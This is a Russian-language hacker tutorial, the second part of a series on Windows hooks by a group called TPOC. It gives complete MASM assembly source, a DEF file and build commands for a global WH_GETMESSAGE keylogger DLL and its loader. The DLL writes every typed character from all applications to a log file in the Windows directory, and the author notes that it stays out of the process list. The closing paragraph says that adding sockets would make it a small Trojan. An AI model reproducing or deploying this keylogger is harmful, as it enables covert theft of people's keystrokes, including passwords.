Windows Hooks. Part
2Автор:
Bill Prisoner / TPOC
Здравствуйте дети! Заправившись только
что кофеем дабы усыпить своё сонное состояние я решил написать вторую часть
статьи про хуки мастдая. Как вы помните первая часть была чисто теоретическая,
здесь будет только практика. Вы конечно должны знать теорию, чтобы приступить к
практике. Так что для начала прочитайте первую часть. Как я обещал здесь мы
напишем простой кейлогер на асме. Итак в путь…
Чтобы перехватывать события от всех приложений в системе мы установим глобальный
хук. Тип хука – WH_GETMESSAGE. Проще говоря, всё что направляется любому
приложению через функции GetMessage или PeekMessage мы будем перехватывать. Т.е.
мы перехватываем много разных сообщений, но нам нужно только сообщение WM_CHAR.
Функции перехвата передается параметр lParam. Это есть указатель на структуру
MSG. Из этой структуры мы узнаем какое сообщение пришло окну и если это WM_CHAR,
то обрабатываем его. В MSG.wParam для WM_CHAR находиться код нажатой клавиши.
Код процедуры перехвата мы размещаем в DLL, чтобы каждое приложение могло
выполнить его. Благодаря DLL кейлогер вообще не виден в процессах. Его можно
отследить смотря на загруженные в память динамические библиотеки. Выполняемый
файл нужен для загрузки DLL в память. После загрузки процесс уничтожается. Если
вы хотите передавать какую-нибудь информацию своему окну, то возможно вам может
понадобиться хранить информацию о перехваченных событиях в DLL. Для этого секция
данных DLL делается разделяемой. Но я в этой программе не делаю секцию
разделяемой. Давайте посмотрим на код исполняемого файла:
.386p
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\user32.lib
includelib f:\tools\masm32\lib\kernel32.lib
includelib f:\tools\masm32\lib\gdi32.lib
includelib f:\tools\masm32\lib\advapi32.lib
include f:\tools\masm32\include\windows.inc
include f:\Tools\masm32\include\proto.inc;этот файл я сделал сам, там
содержаться прототипы функций
;----------------------End IncludeLib and Include-----------------------
.data
DLL db "Hook",0
FileName db "Hook.dll",0
NameProc1 db "InstallHook",0
.data?
hInstance dd ?
hHook dd ?
hDLL dd ?
.code
start:
push offset FileName
call LoadLibraryA@4;загружаем hook.dll в адресное пространство
mov hDLL,eax;сохраняем описатель DLL
push offset NameProc1
push hDLL
call GetProcAddress@8;в eax – адрес процедуры установки хука
push 12
call eax;устанавливаем хук
push 0
call ExitProcess@4;завершаем процесс
end start |
Все должно быть понятно.
Единственное что может у вас вызвать вопрос – это что такое “push 12” и какой в
этом смысл. Этим было просто продемонстрировано как передать что-то в DLL. Таким
образом вы можете передать описатель окна hWnd и что-то типа того. Как вы можете
видеть здесь производиться загрузка DLL вручную. Microsoft называет это
«run-time dynamic linking». Другой метод загрузки DLL называется «load-time
dynamic linking» когда DLL загружаются в адресное пространство при загрузке
программы в память. Но это происходит только с библиотеками которые содержат
экспортируемые функции. «Экспортируемые функции» в данном случае означает - те
функции которые указаны в таблице экспорта PE файла. Вот код DLL:
.386
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\user32.lib
includelib f:\tools\masm32\lib\kernel32.lib
includelib f:\tools\masm32\lib\gdi32.lib
includelib f:\tools\masm32\lib\advapi32.lib
include f:\tools\masm32\include\windows.inc
include f:\tools\masm32\include\proto.inc;этот файл я сделал сам, там
содержаться прототипы функций
;----------------------End IncludeLib and Include-----------------
.data
LogFile db "\key.txt",0
hNum db 2
FileName db "\hook.dll",0
Patch1 db 255 dup (0)
Patch2 db 255 dup (0)
.data?
hFile dd ?
hInstance dd ?
hHook dd ?
hWnd dd ?
buffer dd ?
.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance;сохраняем описатель DLL
push 255
push offset Patch2
call GetWindowsDirectoryA@8
push offset FileName
push offset Patch2;Patch1 - LogName
call lstrcatA@8
push offset Patch2
call LoadLibraryA@4
push 255
push offset Patch1
call GetWindowsDirectoryA@8
push offset LogFile
push offset Patch1
call lstrcatA@8; В Patch1 – имя файла лога
push 2
call InstallHook;инсталлируем хук в DLL
.endif
mov eax,TRUE
ret 12
DllEntry Endp
InstallHook proc
push ebp
mov ebp,esp
push ebx
push esi
push edi
push dword ptr [ebp+08h]
pop hWnd
push 0
push hInstance
push HookProc
push WH_GETMESSAGE
call SetWindowsHookExA@16
mov hHook,eax
pop edi
pop esi
pop ebx
pop ebp
ret 4
InstallHook endp
HookProc proc;процедура перехвата
push ebp
mov ebp,esp
push ebx
push esi
push edi
mov esi,dword ptr [ebp+10h]
add esi,4
cmp dword ptr [esi],WM_CHAR
jne x
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS
push 0
push 0
push GENERIC_WRITE
push offset Patch1
call CreateFileA@28;открываем наш лог файл для записи в него очередной
нажатой клавиши
push eax
pop hFile
push FILE_END
push 0
push 0
push hFile
call SetFilePointer@16;ставим указатель в файле на конец
add esi,4
mov eax,dword ptr [esi]
mov buffer,eax;в переменной buffer – код нажатой клавиши
push 0
push offset hNum
push 2
push offset buffer
push hFile
call WriteFile@20;пишем код нажатой клавиши в конец файла
push hFile
call CloseHandle@4;закрываем файл
push [ebp+10]
push [ebp+0Ch]
push [ebp+8]
push hHook
call CallNextHookEx@16;после нашей обработки можно передать сообщение проге
для которой оно предназначалось
x:
pop edi
pop esi
pop ebx
pop ebp
ret 12
HookProc endp
End DllEntry |
Когда DLL загружается в адресное пространство процесса
выполняется процедура DllEntry. В ней инсталлируется хук. Это может показаться
странным, но иначе, сразу после завершения выполнения исполняемого файла хук
уничтожается. Это происходит из-за того что при заверщении процесса все его
открытые описатели закрываются. В данном случае уничтожается установленный хук.
Допустим, что мы загрузили DLL и выходим из программы. Счетчик для нашей DLL
поставится на ноль и она уничтожиться из адресного пространства процессов. Чтобы
этого не случилось для каждого процесса мы загружаем отдельно DLL. Но на самом
деле она не загружается, а просто счетчик увеличивается на единицу с каждым
новым процессом. Необходимо чтобы DLL лежала в каталоге с Windows.
Содержимое DEF-файла
для DLL:
LIBRARY Hook
EXPORTS HookProc
EXPORTS InstallHook |
Компиляция
Exe:
masm32\bin\ml.exe /c /coff work.asm
masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj |
Dll:
masm32\bin\ml.exe /c /coff dll.asm
masm32\bin\link.exe /DLL /SUBSYSTEM:WINDOWS /DEF:dll.def /LIBPATH:f:\tools\masm32\lib
dll.obj |
Заключение
В этой небольшой статье было рассмтрено как использовать хуки
на практике. Вообще хуки – это одна из самых мощных техник при программировании
под Windows. Но чтобы эффективно их использовать надо как следует разобраться в
этом. Чтобы разобраться первый шаг вы уже сделали- прочитали две мои статьи.
Вторым шагом надо написать программу на ассемблере которая будет использовать
другой тип хуков. Здесь мы сделали кейлогер который может нам пригодиться J. Вы
заметили что exe-файл занимает 2.5 кБайта, а DLL – 3.5. Теперь осталось
разобраться в работе сокетов в виндовс и у нас есть маленький Троян. Скоро в
TPOC появятся новые люди и будут новые идеи и разработки…Удачи вам в потрошении
вашего любимого масдая!
[C] Bill Prisoner / TPOC | Новые события из жизни нашей лаборатории Статьи и переводы лаборатории TPOC Программы лаборатории TPOC Здесь мы сообщаем Вам, какие творения скоро появятся Ссылки на сайты, где можно найти больше информации История нашей лаборатории и ее члены |